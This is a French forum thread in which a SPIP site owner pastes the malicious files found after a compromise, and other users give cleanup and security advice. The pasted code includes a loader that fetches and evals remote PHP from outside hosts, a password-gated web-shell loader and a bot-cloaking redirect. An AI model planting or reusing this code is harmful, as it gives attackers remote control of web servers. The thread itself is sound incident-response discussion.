spip hacké avec injection de code dans la base de donnée

Voici les 3 ficheirs .php à la racines :
ajax.php
?php $Url = "https://zerotwostrg.xyz/maaf/zero.txt"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $Url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); curl_close($ch); echo eval('?>'.$output); ?>
inedx.php

<?php 
ob_start();
 
function is_bot() { 
    $user_agent = $_SERVER['HTTP_USER_AGENT']; 
    $bots = array('Googlebot', 'TelegramBot', 'bingbot', 'Google-Site-Verification', 'Google-InspectionTool', 'AhrefsBot'); 
     
    foreach ($bots as $bot) { 
        if (stripos($user_agent, $bot) !== false) { 
            return true; 
        } 
    } 
     
    return false; 
} 
 
if (is_bot()) { 
header("Location: https://eskaro.ee/", true, 301); 
exit(); 
} 
ob_end_flush();
?>
<?php
	# appel SPIP
	include('spip.php');

et app.txt

<?php function is_logged_in(){return isset($_COOKIE["ngawi_id"]) && $_COOKIE["ngawi_id"] === "9gnhuy8n7t6nvy83hyr8";}if(is_logged_in()){function geturlsinfo($url){if(function_exists("curl_exec")){$conn = curl_init($url);curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);$url_get_contents_data = curl_exec($conn);curl_close($conn);}elseif(function_exists("file_get_contents")){$url_get_contents_data = file_get_contents($url);}elseif(function_exists("fopen") && function_exists("stream_get_contents")){$handle = fopen($url, "r");$url_get_contents_data = stream_get_contents($handle);fclose($handle);}else{$url_get_contents_data = false;}return $url_get_contents_data;}$a = geturlsinfo("https://raw.githubusercontent.com/yon3zu/403WebShell/refs/heads/main/403WebShell.php");eval("?>".$a);}else{if(isset($_POST["password"])){$entered_password = $_POST["password"];$hashed_password = "11bf58a43bd30cb13109022988c1b8c5";if(md5($entered_password) === $hashed_password){setcookie("ngawi_id", "9gnhuy8n7t6nvy83hyr8", time() + 3600, "/");}else{echo "Incorrect password. Please try again.";}}?><!DOCTYPE html><html><head><title>Ngawi Login</title></head><body><form method="POST" action=""><label for="password">ID Ngawi :</label><input type="password" id="password" name="password"><input type="submit" value="Login"></form></body></html><?php } ?>

et des ficheirs htacces à tous les repertoires :

saisissez ou collez du code ici

<Files .ph>
Order Deny,Allow
Deny from all

<Files .Ph>
Order Deny,Allow
Deny from all

<Files .pH>
Order Deny,Allow
Deny from all

<Files .PH>
Order Deny,Allow
Deny from all

<Files .sh>
Order Deny,Allow
Deny from all

<Files .Sh>
Order Deny,Allow
Deny from all

<Files .sH>
Order Deny,Allow
Deny from all

<Files .SH>
Order Deny,Allow
Deny from all

<Files .AS>
Order Deny,Allow
Deny from all

<Files .As>
Order Deny,Allow
Deny from all

<Files .aS>
Order Deny,Allow
Deny from all

<Files .as>
Order Deny,Allow
Deny from all

<FilesMatch « .(jpg|jpeg|png|gif|svg|bmp|ico|webp|heic)$ »>
Order Deny,Allow
Allow from all

<FilesMatch « .(mp4|webm|avi|mov|wmv|mp3|wav|ogv|ogg)$ »>
Order Deny,Allow
Allow from all

<FilesMatch « .(pdf|doc|docx|xls|xlsx|zip|rar|tar|gz|ppt|pptx|csv|)$ »>
Order Deny,Allow
Allow from all

Options -Indexes

Le site est à jour des maj de sécurité. Pour information

Il est à jour actuellement, mais a-t-il été hacké à un moment ? Parce que dans ce cas s’il a mal été nettoyé, une backdoor peut exister.

De meme est-il présent sur le meme serveur et avrc des sites associés au même compte que des sites pas à jour ?

Bonjour Maïel, oui, c’est le cas, obligé de toute remmettre à plat :slight_smile: je ne suis plus trés actif sous spip… Merci de votre retours !

Il faudrait, faute de mettre à jour SPIP, au moins mettre l’écran de sécurité 1.6.3

Sinon, le hack reste possible